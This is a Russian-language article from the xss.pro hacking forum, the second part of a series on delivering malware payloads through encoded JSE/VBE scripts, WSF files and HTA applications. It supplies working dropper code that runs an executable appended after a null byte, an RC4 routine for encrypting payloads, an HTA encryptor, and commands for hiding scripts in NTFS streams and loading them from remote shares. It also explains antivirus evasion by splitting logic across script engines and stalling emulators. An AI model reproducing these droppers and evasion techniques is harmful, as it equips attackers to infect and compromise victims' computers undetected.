• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Файловые форматы для доставки пейлоада, часть N2: форматы *.JSE/*.VBE/*.HTA

it_solutions

HDD-drive
Пользователь
Регистрация
03.07.2020
Сообщения
49
Реакции
163
Автор: it_solutions
Специально для форума xss.pro

Продолжаем детальный разбор файловых форматов для доставки пейлоада.
В данной статье мы рассмотрим кодированные форматы скриптовых файлов VBE и JSE, рассмотрим особенности их чистки.
Так же мы рассмотрим применение криптографической защиты пейлоада от AV с использованием алгоритма шифрования RC4.
В прошлые разы мы пейлоад размещали в открытом и нешифрованном виде в конце файла, сейчас мы сделаем его хранение в зашифрованном виде.
Разберём как чистить от AV шифрованные данные, разберём вопрос энтропийных детектов AV и как от них избавляться.
Очень подробно разберём файловый формат HTA - один из важнейших файловых форматов для доставки пейлоадов.
Он используется как в виде отдельного файла, так и в виде отдельного элемента в связке эксплоитов.
Разберём как отображать decoy content из HTA файла, храня все данные (графика, текст, файловая иконка) внутри HTA-файла.
Соберём монолитный HTA, в котором все необходимые данные будут внутри файла, и контент и шифрованный пейлоад, без использования дополнительных файлов и ссылок на внешние ресурсы.

Формат файлов JSE

JSE расшифровывается как Java Script Encoded - это кодированный формат яваскриптов, встроенный в Windows.
В прошлой статье кодирование и морфинг скриптов мы делали самостоятельно, например с помощью функции eval, формирования и передаче этой функции строки с яваскрипт-кодом.
В этом же случае механизм кодирование встроен в подсистему Windows WSH, и каких-либо действий по шифрованию скриптов нам не требуется, всё будет делаться средствами скриптового движка виндовс.
За кодирование скриптов на VBScript и JScript отвечает утилита от майкрософт screnc.exe
Найти её можно в составе пакета разработчика MSDN, а так же легко гуглится по запросу "microsoft screnc" (прямую ссылку на exe здесь не пишу - ссылки на исполняемые файлы здесь запрещены).
Программа screnc представляет собой утилиту командной строки, синтаксис её следующий:

Код:
screnc source_name.js destination_name

В source_name.js мы указываем исходный скрипт, который хотим зашифровать. В destination_name пишем имя зашифрованного скрипта. Расширение *.jse будет добавлено к нему автоматически.
Например, зашифруем простейший скрипт, выводящий месседжбокс:

Код:
WScript.Echo("Test message");

После обработки утилитой screnc он будет преобразовани в следующую последовательность символов:

Код:
#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@

Как бы это странно не выглядело, но если эту строку сохранить в файл с расширением *.jse и запустить, то она выведет наше тестовое сообщение.
Зашифрованная строка представляет не двоичные, но текстовые данные. Это удобно для работы из повершелл, из bat/cmd файлов, из командной строки.
Да, там иногда встречаются non-ascii символы, например в этом примере есть символ в кодом 0x7F. Но главное то, что в таких строках отсутствуют нулевые байты.
Например, нам нужно средствами командной строки сформировать JSE файл, который выведет на экран тестовое сообщение три раза.
Делаем это просто написав зашифрованную строку три раза:

Код:
echo #@~^^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^^#~@>test.jse
echo #@~^^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^^#~@>>test.jse
echo #@~^^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^^#~@>>test.jse

Подробно разберём этот батник, потому что в нём отражено несколько важных моментов по кодированным JSE/VBS скриптам.
В первую очередь мы видим, что выходной файл test.jse формируется построчно. Каждая команда, выводящая тестовый месседжбокс, представляет собой одну зашифрованную строку.
Это означает, что утилита screnc шифрует исходный скрипт не целиком, а построчно.
Первая строка содержит один символ перенаправления ввода-вывода ">" (перед именем файла test.jse), что означает перезаписывание предыдущего файла новой строкой.
В последующих строках перед именем файла мы видим по два символа перенаправления ввода-вывода ">>" - это означает добавление строк в конец файла, вместо перезаписи.
Выходной файл, сгенерированный этим батником, будет выглядеть так:

Код:
#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@
#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@
#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@

Если внимательно посмотреть на отдельную зашифрованную строку и на строки внутри батника то мы увидем, что символ "^" в батнике записан двумя символами как "^^".
Дело в том, что символ "^" является служебным символом командной строки, в частности он нужен для того, чтобы отображать другие служебные символы.
Например, на нужно отобразить символ "&", который является служебным. Тогда команду echo мы должны записать так:

Код:
echo ^&

А если нам нужно заэкранировать сам символ экранирования "^", то просто пишем его дважды.
Внутри закодированных VBE/JSE строк часто могут встречаться спецсимволы типа "&", "|", ">", "<" и тому подобных.
Для корректной работы из среды командной строки виндовс их необхоимо экранировать только что рассмотренным способом.

Второй момент: закодированная JSE/VBE строка может содержать символы табуляции. Командная строка виндовс не переводит эти символы в пробелы и записывает строки корректно.
Но, например, повершелл может перводить символы с кодом "\x09" (табуляция) в символ с кодом "0x20" (пробел), из за чего строка станет неработоспособной.
Тогда в среде повершелл вместо символа табуляции внутри строки явно указываем ASCII-код этго символа, записав его как "\x09".

Третий момент: в JSE/VBE скриптах возможна запись всего скрипта в одну строку, так же как и в обычных JS/VBS скриптаx.
Каждая закодированная строка в JSE/VBE-скрипте представляет собой отдельный оператор Javascript либо VBScript, но только в зашифрованном виде.
А это означает, что эти закодированные операторы подчиняются тем же правилам, что и обычные незакодированные их аналоги.
В частности это означает, что закодированный оператор можно завершить знаком ";", либо написать множество знаков ";;;;". И это никак не повлияет на его работу.
Вот эта строка по-прежнему выведет месседжбокс, хотя к ней и приписали ряд символов точки с запятой:

Код:
#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Символ точки с запятой ";" в яваскрипт используется как разделитель операторов, поэтому с помощью него мы можем разделить отдельные кодированные JSE/VBE строки друг от друга.
Это даёт нам возможность записать JSE-скрипт одной строкой:

Код:
#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@;#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@;#@~^HQAAAA==    Um.bwDR21tKcJ:+dY,:ndkloE#p7gkAAA==^#~@;

Это тот же самый скрипт что был в начале, который трижды выводил месседжбокс. Но теперь он не содержит в себе символов перевода строк CR-LF.

Четвёртый момент: в кодированных скриптах можно писать как кодированные операторы, так и некодированные.
Рассмотрим такой JSE-скрипт:

Код:
#@~^DgAAAA==C{JP/DPNmYmEidwQAAA==^#~@
WScript.Echo(a);

Сохраняем его и запускаем: на экран будет выведен месседжбокс с текстом "Test data".
Здесь оператор "a = 'Test data'" расположен внутри зашифрованного блока. И этот зашифрованный блок выполняется движком WSH словно это обычный оператор Javascript.
Скрипт выглядит так, будто переменная "a" взялась из ниоткуда и ей сразу присвоилась строка "Test data".
В зашифрованную область очень удобно прятать такие опасные вызовы, как например создание файлового объекта: set f=new ActiveXObject("Scripting.FileSystemObject")
Эврестические анализаторы AV очень плохо анализируют такие миксованные скрипты, где в перемешку с обычным кодом идут зашифрованные операторы.

Если обычный JS-скрипт переименовать в JSE, то он запустится как ни в чём не бывало.
Единственное отличие будет заключаться в том, что он будет работать чуть медленнее, по той причине что движок WSH будет затрачивать некоторые ресурсы на поиск внутри скрипта зашифрованных строк.
Если же переименовать JSE-скрипт, содержащий зашифрованные строки, в файл с расширением *.JS, то тогда будет выдана ошибка.
Из этого следует, что JSE-скрипты являются надстройкой над JS скриптами, а не отдельным программным движком, и VBE скрипты так же являются надстройкой над VBS скриптами.

JSE/VBE скрипты могут быть прописаны не только в отдельных файлах с расширением *.jse и *.vbe, но и внутри HTML разметки.
Кодированные скрипты внутри HTM\HTML\HTA файлов выглядят так:

Код:
<script language=JScript.Encode><!--
#@~^NwAAAA==Uh~zmDk\(}8LmO`rj^MkwD ?_+V^EbR"E    `EmCs1Jbi1sWk+cbpRBIAAA==^#~@//
--></script>

Это пример скрипта для *.HTA файла, который запускает калькулятор и закрывает текущее окно mshta.
Здесь сразу видны отличия от того, как заключается в теги обычный скрипт, написанный на Javascript.
В случае с некодированным javascript можно было указать открывающий и закрывающий тег "<script>" и писать код между ними, например вот так: <script>alert(1235);</script>
В случае с кодированнми скриптами, во-первых, нужно указать название скриптового интерпретатора: "language=JScript.Encode"
Кроме того, после тега скрипт нужно взять закодированную область в html-комментарий, поместив её внтури тегов "<!--" и "-->". Без помещения внутрь комментирующих тегов работать не будет !
И в самом конце пишем закрывающий тег </script>, как обычно.
В случае с кодированными скриптами запись скрипта вместе с тегами в одну строку не проходит - обязательно нужен перевод строки после открывающего комментарий тега "<--" и перед закрывающим комментарий тегом "-->".

Так же, если скрипт находится внутри HTML разметки, в нём не получится написать построчно кодированные JSE/VBE строки, как мы только что это делали в случае файлов *.js
Весь скрипт в этом случае воспринимается как одна кодированная строка.
Если внутри HTA-файла за закодированной строкой написать какие-либо данные, то они будт просто проигнорированый интерпретатором mhta.

Код:
<script language=JScript.Encode>
<!--
#@~^NwAAAA==Uh~zmDk\(}8LmO`rj^MkwD ?_+V^EbR"E    `EmCs1Jbi1sWk+cbpRBIAAA==^#~@//

fds97fds8f79ds87fds7f89ds7f789df7d8s7f8ds7f

-->
</script>

hta_ignored_data_after_encoded_script.png


На данном скриншоте зелёным цветоим обведён закодированный JSE скрипт, который запускает калькулятор.
Жёлтым цветом обведены случайные текстовые строки, которые полностью игнорируются интерпретатором HTA.
Этот эффект можно использовать для чистки HTA-файлов.

Но если при этом там написать какие-либо другие нетекстовые символы, то будет выдана ошибка.

Заменяем часть букв "AAAAA" на байты 0x01 0x02 0x03 0x04 0x05

hta_jse_five_non_char_bytes.png


И получаем такую ошибку:

hta_jse_five_bytes_error.png


Что примечательно, в наборе этих случайных символов вполне допустим нулевой символ с кодом 0x00, HTA-файл при этом остаётся полностью работоспособным.

hta_jse_a_few_zero_bytes.png


Пятый момент: строка с JSE/VBE скриптом может содержать символ с кодом 0x7F, это показано на следующем скриншоте:

jse_7F_symbol_str.png

jse_7f_symbol_hex.png


В среде BAT/CMD этот символ проходит, но в среде Powershell строка, содержащая такой символ, выдаст ошибку.
Чтобы этого избежать, такие символы внутри строки заменяются на его шестнадцатеричное представление, например так: "\x7F".
Там, где написание таких символов допустимо напрямую (например в батниках), строки с подобными символами можно редактировать не прибегая к hex-редактору.
С клавиатуры можно ввести любой символ из байтового диапазона, то есть все символы с кодом от 0x00 до 0xFF (от 0 до 255 в десятичной системе счисления).
Для этого в любом текстовом редакторе нажимаем <Alt>-<Numlock> и вводим десятичный код символа.
Например, чтобы ввести рассматриваемый нами символ с кодом 0x7F мы должны нажать такую последовательность клавиш: Alt-Numlock-1-2-7
Alt всегда держится нажатым, цифры вводятся на правой части клавиатуры, на кейпаде.
Эта особенность клавиатурного ввода очень удобна при использовании Badusb-устройств.
Badusb устройство это устройство, подключаемое к USB входу компьютера, которое выдаёт себя за клавиатуру.
После чего нажимает на компе определённую последовательность клавиш, приводящуюю к выполнению произвольного программного кода (например запуска EXE/DLL с поледной нагрузкой).
И если мы через метод badusb проталкиваем на компьютер скрипт, закодированный в формат JSE/VBE, том нам будет очень полезен метод ввода произвольных символов через комбинацию клавиш Alt-Numlock.
Потому как нетекстовые символы в JSE/VBE-скриптах иногда встречаются.

Единственный символ который точно не встретится в JSE/VBE строке это символ с кодом 0x00 (нулевой байт).
Этот символ в JSE/VBE-скриптах, так же как и в обычных JS/VBS-скриптах, обозначает конец программного кода.
Всё, что находится за нулевым байтом, скриптовый парсер дальше не рассматривает и игнориурует.
Это происходит по причине использования скриптовым движком функции strlen при считываниии скрипта из файла.
Он считывает файл целиком в память, и вызывает функцию strlen на прочитанный буфер.
И функция strlen натыкается на нулевой байт, останавливает подсчёт количества символов, и в результате этого все те данные что находится за нулевым символом окончания строки будут проигнорированы.
Поэтому мы можем хранить наш EXE/DLL пейлоад в конце JS/VBE файла, отделив его от скриптового кода нулевым байтом, так как показано на этом скриншоте:

jse_zero_byte_delimiter.png


На скриншоте зелёная стрелка указывает на нулевой байт, отделяющий EXE от кодированного скрипта.
Всё, что находится за этим нулевым, байтом будет проигнорировано скериптовым интерпретатором, и такой скрипт запустится корректно.

Здесь работает всё так же, что и для обычных VBS/JS-файлов.
А это означает, что мы можем взять обычный JS-стаб, запускающий EXE/DLL с "хвоста" скрипта, закодировать его в формат JSE, записать в конце нулевой байт и следом за ним разместить EXE/DLL пейлоад.

Берём стандартный JS-стаб, который запускает EXE/DLL, сохранённый внутри скрипта. Он выглядит вот так (это тот стаб, который был подробно рассмотрен в предыдущей статье):

Код:
(q=(e=new ActiveXObject("scripting.filesystemobject")).createtextfile(a=(f=WScript.scriptfullname)+":a")).write(e.getfile(f).openastextstream().read(1E7).substr(226,1E10));q.close();new ActiveXObject("WScript.shell").exec(a);

Кодируем его в формат JSE с помощью команды "screnc stub.js stub", получаем файл stub.jse со следующим содержимым:

Код:
#@~^4QAAAA==c$'c'    +h,b1Ok7+pr(Ln^D`Jk^DbwYbULR6k^+dXdO:G4NnmDJbbcmDnCD+O+XO6ks`m'`6'qjmMk2Yc/^.bwY6;V^xlsnb_r)mJb# AMkO+vnRT+OWbV+cW*RGwUm/O6D/YM+mh`*R.+mNcqAG#cdE(/YMc+*Z~82q!bbp; m^G/`bI    +h~)1Yr\p}4%mD`Jq?1.kaY /4+ssr#Ra+1`l*Ilk0AAA==^#~@

К получившемуся кодированному скрипту stub.js добавляем в конце нулевой байт. Все данные. записанные за ним, будут игнорироваться скриптовым интерпретатором, и туда мы поместим наш EXE файл.
Для настройки Javascript стаба нужно прописать размер файла со скриптом, в том месте как показано на скриншоте:

js_stub_size_correction.png


Прописываем туда размер получившегося закодированного скрипта stub.jse - 250 байт
Первый раз мы закодировали скрипт stub.js для того, чтобы выяснить размер получившегося стаба, который затем прописали в скрипт stub.js
Второй раз уже кодируем скрипт stub.js с прописанным правильным размером, делаем всю ту же последовательность действий что и в первый раз.
В итоге получаем стаб с кодированным JS скриптом, этот готовый стаб (файл stub.jse) лежит в приаттаченном к статье файле с примерами.
Для того чтобы прописать к нему EXE файл воспользуемся командой бинарного копирования:

Код:
copy/b stub.jse+putty.exe result.jse

И теперь после двойного клика в проводнике по файлу result.jse будет запускаться прописанный в него файл putty.exe

JSE файлы так же можно вызывать из NTFS-потоков.
Копируем тестовый файл msgbox.jse в отдельнный файловый поток к файлу test.txt:a.jse следующей командой:

Код:
print/d:test.txt:a.jse msgbox.jse

Теперь из файлового потока, прикреплённого к файлу test.txt, скопированный туда скрипт можно вызвать следующим образом:

Код:
cscript test.txt:a.jse
wscript test.txt:a.jse

В поток test.txt:a.jse скопирован простой тестовый, который скрипт выводит строку на экран и завершает работу.
Состоит из одной строки: WScript.Echo("Test message");
При вызове утилиты cscript тестовое сообщение будет выдано в стандартную тектстовую консоль, при вызове wscript тестовое сообщение будет выдано в виде месседжбокса.
В этом заключается отличие утилиты cscript от wscript, в остальном это одно и то же.
И если скрипт на экран ничего не выводит, то без разницы чем его запускать - утилитой cscript или wscript.

У имени потока можно убрать расширение, но тогда утилитам cscript и wscript необходимо передать имя скриптового интерпретатора в виде параметра.
Делается это так:

Код:
cscript /E:jscript.encode a10.cmd:test_script
wscript /E:jscript.encode a10.cmd:test_script

Параметр "/E" у этих двух утилит задаёт имя скриптового интерпретатора, в случае JSE указываем имя интерпретатора "jscript.encode".

Так же работает запуск JSE/VBE скриптов из NTFS-потока, приписанного к текущей папке.
Копируем в файловый поток текущего каталога тестовй *.jse файл с помощью команды print:

Код:
print/d:E:\SOCKS\msc:test.jse msgbox.jse

И вызываем его оттуда командой cscript:

Код:
cscript %cd%:test.jse

Если мы используем встроенную переменную командной строки %cd% (которая содержит в себе путь к текущему каталогу), то мы её можем указать только в командной строке консольных программ.
В них произойдёт подстановка вместо этой переменной текущего рабочего каталога.
У программ, работающих в режиме GUI, этой подстановки не произойдёт, и в их командной строке так и останется строка %cd%
Например, запустим тот же блокнот вот таким способом: "notepad %cd%"
Получим вот такой результат:

notepad_incorrect_cd_handling.png


Wscript.exe это программа работающая в режиме GUI, и в ней подмена переменной %cd% в командной строке не происходит.
Именно поэтому мы используем команду cscript вместо wscript, если нам нужно автоматическое определение текущей папки.

VBS файлы кодируются анлаогично JS файлам с помощью команды "screnc script.vbs script.vbe"
Для них будут соблюдаться все те же закономерности и правила, что и для кодированных JSE файлах.
Так де можно миксовать шифрованный и не шифрованный код. И так же скрипт шифруется построчно, а не целиком - можно прописывать отдельно зашифрованную строку, содержащую код на VBScript.
Пример:

Код:
msgbox "12345"
#@~^DAAAAA==hko8K6rK+kYrdAQAAA==^#~@
#@~^DAAAAA==hko8K6rK+kYrdAQAAA==^#~@
#@~^DAAAAA==hko8K6rK+kYrdAQAAA==^#~@:

В первой строке нешиврованный VBS код выведет месседжбокс с текстом "12345", а следующих 3 шифрованных строки жто вызов месседжбокса, выводящего слово "Test".
Однострочная запись VBE скриптов так же возможна, как и в JSE скриптах.
Только вместо символа-разделителя точка с запятой ";" используется разделитель двоеточие ":".
Только что приведённый пример в однострочной записи будет выглядеть так:

Код:
msgbox "12345":#@~^DAAAAA==hko8K6rK+kYrdAQAAA==^#~@:#@~^DAAAAA==hko8K6rK+kYrdAQAAA==^#~@:#@~^DAAAAA==hko8K6rK+kYrdAQAAA==^#~@:

VBS/JSE файлы могут вызываться через WSH файлы, просто пишем для этого *.wsh файл со следующим содержимым:

Код:
[scriptfile]
path=msgbox.jse

Для VBS/JSE файлов, прописанных в *.wsh файлах, работают все те же методы, рассмотренные в первой части.
Так же можно использовать разные варианты путей: UNC путь к расшаренной папке на удалённом серваке, путь к смонтированному VHD/ISO образу, с последующим размонтированием этих образов после запуска, и многое другое, описанное в первой части статьи здесь: http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/108916/

Так же кодированные VBS/JSE скрипты работают изнутри *.wsf файлов.
И они могут быть собраны в один пакет, например, из пяти скриптов: скрипт на VBSCript, скрипт на JScript, скрипт на JSE, скрипт на VBE и скрипт на Javascript

В данных скриптах мы видим два, казалось бы, одинаковых параметра language: JScript и Javascript
Если заменить Jscript на Javascript, и наоборот, то логика работы скрипта не изменится - в обоих случаях синтаксис скрипта совпадает и результат будет одинаков.
Но на самом деле разница существенная, с точки зрения детектов AV.
Потому что будут использованы разные скриптовые движки - JScript это движок WSH, а Javascript это уже браузерный движок.
И внутренние процессы внутри скриптового пакета будут происходить разные.
Для AV это будет представлять дополнительные сложности, потому что в этом случае ему придётся уловить разницу между JScript и Javascript, и определить какой скрипт внутри пакета каким движком интерпретируется.
Та же самая разница будет и с идентификаторами языков "VBS" и "VBScript"
В данном примере задействованы все шесть скриптовых движков, установленных по умолчанию в Windows 10: Javascript,JScript,VBScript,VBS,JScript.Encode,VBScript.Encode
Это очень эффективный способ чистки WSF файлов - комбинируем между собой разнородные скрипты внутри WSF файлов и распределяем между ними весь функционал.
Доступ к файловым объектам делаем на VBSCript, запуск файла на JScript.Encode, расшифровку файла на Javascript - вот примерно по-такому принципу.
Каждый скрипт делает какое-то мининиальное действие, причём скрипты будут написаны на разных языках. В сумме все эти действия дают запуск нашего EXE/DLL, но по отдельности они проходят для AV как безопасные.

Ещё одна особенность WSF файлов, которая не была указана в прошлой статье: скрипт внутри *.WSF файла можно не хранить, а вместо этого указать файл, в котором содержится скрипт.

Например:

Код:
<job>
<script language="jscript.encode" src="msgbox.jpg">
</script>
</job>

Так же как и в HTML разметке внешний источник скрипта можно указывать через параметр src.
Обратите внимание на имя файла, которое содержит скрипт - msgbox.jpg, то есть имя файла можно задать любое, расширение файла ни на что не влияет.
В параметре src можено указать UNC путь к расшаренной на серваке папке, например так: src="file://X.X.X.X/shared_folder/msgbox.jpg", где X.X.X.X это ip-адрес дедика.
В этом случае получим бесфайловый запуск скрипта - файл нигде не будет присутствовать на целевом компьютере.
Микс скриптов внутри WSF файлов, только что разобранный в предыдущем абзаце, можно комбинировать с прописыванием удалённых скриптов в параметре src.
Это полностью ставит в тупик любой скриптовый анализатор, встроенный в AV.
В целом WSF файлы чистятся намного проще других скриптовых файлов, благодаря вот таким интересным особенностям этого файлового формата.

Шифрование пейлоада внутри JS/VBS/JSE/VBE/HTA файлов

Главный недостаток предыдущих вариантов решений запуска EXE/DLL из файлов скриптовых форматов это то, что пейлоад внутри них лежит в открытом виде.

wsh_not_crypted_payload.png


На скриншоте виден EXE, лежащий в открытом виде. И если этот EXE детектится, то и результирующий JS/VBS/HTA файл будет детектится, причём под тем же именем что и EXE.
Поэтому пейлоад обязательно нужно шифровать.
Стоит отметить, что алгоритмом шифрования должен быть не простой набор из логических операторов типа XOR/NOT/NEG/ROR/ROL, как делалось когда-то давно.
Сейчас такое шифрование AV разбирают на лету.
Нужен нормальный алгоритм шифрования, например RC4.
Алгоритм RC4 очень популярен в MALDEV за его компактность и простоту реализации.
Компактность хороша тем, что чем меньше размер тем меньше потенциальных сигнатур.
15-20 строк кода почистить значительно проще, чем громоздкий RSA или AES. Или Blowfish, который таскает с собой огромную таблицу с данными, которые легко станут сигнатурами для AV.
RC4 к тому же самый быстрый из всех алгоритмов шифрования, обеспечивающих приемлемую криптостойкость.
Скорость этого алгоритма алгоритма важна для медленных, интерпретируемых языков типа JScript или VBScript, то есть именно для рассматриваемого нами сейчас случая.
Он идеально подходит для крипта файлов и шифрования пейлоадов.
На заре эры локеров он применялся для шифрования файлов, но сразу показал свою непригодность для этих целей и был вытеснен алгоритмом с ассиметричным ключом, типа RSA.
RC4 это алгоритм с симметричным ключом, что означает что для шифрования и расшифровки используется один и тот же ключ (пароль в случае алгоритма RC4).
Поэтому этот алгоритм для локеров и не подошёл, так как ключ всегда будет храниться внутри локера.
В вирлабе сразу разберут локер и получат ключ для расшифровки файлов.
Для локеров подошёл другой подход шифрования - шифрование с ассиметричным ключом.
Шифруем данные одним ключом (публичным), а для расшифровки нужен другой ключ (секретный), и по публичному ключу получить секретный никак нельзя.
Но с задачами типа скрытия пейлоада от AV алгоритм RC4 справляется идеально, поэтому разберём его применение подробно.

Реализация алгоритма RC4, вынутая из одного рабочего эксплоита, выглядит так:

Код:
function u(k,a){var s=[],j=0,r="";for(var i=0;i<256;i++)s[i]=i;for(i=0;i<256;i++){j=(j+s[i]+k.charCodeAt(i%k.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=j=0;for(var y=0;y<a.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;r+=String.fromCharCode(a.charCodeAt(y)^s[(s[i]+s[j])%256]);}return r;}

Вызывается функция так: result = u("Password", buffer), Password это ключ расшифровки, buffer - буфер с шифруемыми либо расшифровываемыми данными, result - результат шифровки/рашифровки.
Для шифровки и расшифровки используется одна и та же строка, то есть если дважды подряд вызвать u("Password", buffer) то это не вызовет никаких изменений над входным буфером.
Но если сделать три вызова подряд, то на выходе будет расшифрованный буфер, если на вход поданы зашифрованные данные. Или наоборот, на выходе будет шифрованный буфер, если на входе были незашифрованные данные.
Отсюда видим закономерность - <b>для шифровки/расшифровки данных процедура с алгоритмом RC4 должна быть вызвана нечётное количество раз</b>. Если она будет вызвана чётное количестао раз, то буфер остаётся без изменений.
На этой закономерности основан один из способов защиты от автоматической расшифровки, которую делают AV при анализе файлов.
Для расшифровываемого буфера применяем процедуру RC4 большое количество раз, но это количество раз всегда чётное, например 1024 раз.
У эмулятора, встроенного в AV, всегда есть такой параметр как <i>глубина поиска</i>, и если эмуляция происходит достаточно долго, то такой файл отбрасывается и AV переходит к проверке следующего файла.
И для этого замедления работы эмулятора AV как раз и делается вызов процедуры расшифровки тысячи раз подряд.
На C++ пауза будет едва заметной, но на скриптовых языках типа JScript/VBScript замедление перед запуском будет уже существенным, там стоит ограничится десятками вызовов процедур расшифровки, но ни как не тысячами.
Внутри эмулятора AV код исполняется медленнее всего, даже намного медленнее чем в Javascript, и поэтому там будет превышен параметр <i>глубины поиска</i>, и файл будет исключен из проверки.

Сам основной принцип работы алгоритма RC4 очень прост.
Допустим, у нас есть входные данные в 1000 байт размером, которые нужно расшифровать.
И есть ключ, точно такого же размера как и входной буфер, который состоит из случайным образом сгенерированных байт,
Чтобы получить зашифрованное сообщение мы побайтно делаем операция XOR на каждым байтом входного буфера и соответствующим байтом ключа.
В результате получаем буфер из 1000 зашифрованных байт.
Это напоминает шифр с разорванной купюрой, использовавшийся в старину - купюра рвётся на 2 части в выдаётся двум разным людям, и при встрече две разорванные части купюры должны при их прикладывании друг к другу совпасть.
В шифре RC4 первая половина купюры выступает как шифруемое сообщение, вторая половина купюры как зашифрованное, а линией отреза выступает ключ.
Ещё одна очень наглядная аналогия для понимания шифра RC4 это пины внутри личинки механического замка.
В личинку замка вставляется ключ, который сдвинет пины в такое положение, что цилиндр ключа начнёт свободно проворачиваться и открывать замок.
В шифре RC4 пины замка это весь криптоключ целиком, каждый пин это отдельный байт ключа, а значение каждого байта ключа это то на какое положение пин нужно сдвинуть, чтобы обеспечить свободный проворот цилиндра.

В алгоритме RC4 тот ключ, который мы ему передаём, значительно меньше размера обрабатываемых данных, Это обычно пароль размером в 10-12 байт.
Алгоритм RC4 растягивает этот ключ в псевдослучайную последовательность чисел ровно такого же размера, как и обрабатываемый буфер с данными.
Примерно как хеш из 1000 байт делает 4 байта, так же и RC4 из 10-12 байт делает тысячу байт. Это можно назвать чем-то типа "операции обратного хеширования", хеширования наоборот.
И вот эта получившаяся последовательность псевдослучайных чисел и выступает как криптографический ключ, упомянутый в предыдущем абзаце.
Способ "растягивания" этого ключа в длинную последовательность псевдослучайных чисел называется алгоритмом ключевого расписания (key sheduling algorithm).
Подробно вникать в суть и принцип работы этого алгоритма мы сейчас не будем, потому что по этой теме в интернете есть бесчисленное количество статей.

Для практического применения алгоритма RC4 нужно знать следующие моменты:

1. Паролем может выступать как строка ASCII символов, типа "Password12345", так и последовательность байт, в том числе включающая в себя и нулевой байт.
2. Длина пароля составляет от 40 бит до 2048 бит, или от 5 байт до 256 байт.
3. Чем длинее пароль, тем медленнее работает алгоритм. Это актуально для медленных языков типа яааскрипт, для него не используйте слишком длиные пароли.

Теперь рассмотрим HTA-файл, который на входе получает DLL-файл с именем testdll64.dll, и сохраняет его зашифрованным в выходной файл encrypted_rc4.dll.

Код:
<script language=vbscript>
function v(a):dim i:redim b(lenb(a)):for i=1 to lenb(a):if ascb(midb(a,i,1))<16 then:b(i-1)="0"+hex(ascb(midb(a,i,1))):else:b(i-1)=hex(ascb(midb(a,i,1))):end if:next:v=b:end function
</script>

<script language=jscript>
function h(a){b='';for(i=0;i<a.length/2;i++){b+=String.fromCharCode('0x'+a.substr(i*2,2));}return b;}
function u(k,a){var s=[],j=0,r="";for(var i=0;i<256;i++)s[i]=i;for(i=0;i<256;i++){j=(j+s[i]+k.charCodeAt(i%k.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=j=0;for(var y=0;y<a.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;r+=String.fromCharCode(a.charCodeAt(y)^s[(s[i]+s[j])%256]);}return r;}
function l(p){var b=new ActiveXObject("adodb.stream");b.type=1;b.open();b.loadfromfile(p);var w=b.read;b.close();var c=v(w).toArray();var a=c.length;c.length=a-1;return c;};
function w(a,b){var c=new ActiveXObject("adodb.stream");var d=new ActiveXObject("adodb.stream");c.type=d.type=2;c.open();c.writetext(b);c.position=0;d.charset='ISO-8859-1';d.open();c.copyto(d);d.savetofile(a,2);c.close();d.close();};

w("encrypted_rc4.dll",u("passw12345",h(l("testdll64.dll").toString().replace(/,/g,""))));
</script>

Сохраняем всё это в файл с именем rc4.hta, размещаем в той же папке что и rc4.hta файл с нужной нам dll, переименовав её в testdll64.dll
Запускаем rc4.hta, после чего появится файл с зашифрованными данными encrypted_rc4.dll
Сама структура HTA-файлов будет подробно разобрана в следующем разделе, сейчас достаточно представлять что HTA-файлы это что-то типа стандартного браузерного файла HTML с гипертекстом, но только с возможностями низкоуровневых операций типа запуска программ и работы с файлами.

Получившийся зашифрованный файл encrypted_rc4.dll так же записываем в конец стаба, всё той же командой copy:

Код:
copy/b stub_hta+encrypted_rc4.dll result_rc4.hta

Файл result_rc4.hta теперь выглядит так:

hta_with_crypted_payload.png


Теперь результирующий файл выглядит значительно лучше - EXE больше не лежит там в открытом виде.
Вместо этого видна зашифрованная область, начинающаяся сразу же за скриптами.

Запустив result_rc4.hta видим следующее:

cryted_hta_running_result.png


Открылось стандартное окно HTA, и запущенная DLL вывела тестовый месседжбокс.
В папке рядом с файлом result_rc4.hta записался расшифрованный файл aaaa.dll, который запустился и вывел месседжбокс.
Здесь мы намеренно поместили расшифрованный файл aaaa.dll рядом с пусковым HTA-файлом.
В уже готовом окончательном варианте так делать нельзя, файл с DLL должен быть записан более подобающим способом, например записан в файловый поток текущей папки.
Сохранение в текущую папку сделано исключительно для удобства демонстрации работы скрипта.
Так же видно стандартное окно HTA-приложения, заполненное случайными данными. Это окно легко убирается.
В конце статьи мы все эти недостатки уберём, собрав окончательный рабочий вариант HTA-файла.

Правильность расшифровки файлов очень удобно сверять с помощью команды fc (сокращение от File Compare).
Эта стандарнтая утилита, есть во всех версиях виндовс.
Он сравнивает два файла и выводит различия между ними.
В нашем случае, чтобы убедится в правильности расшифровки, утилита должна написать что различия не найдены.
Вызывается она так:

Код:
fc/b aaaa.dll testdll64.dll

Параметр /b указывает на то, что утилита fc работает в бинарном режиме, то есть сравнивает файлы побайтово (по умолчанию она сравнивает файлы построчно, в текстовом режиме, поэтому параметр /b нужно указать обязательно).
aaaa.dll это имя расшифрованного файла, testdll64.dll это имя исходного файла.
В случае неправильной расшифровки файла aaaa.dll утилита fc выдаcт результат, показывающий несовпадений исходного и расшифрованного файла:

fc_wrong_decryption_error.png


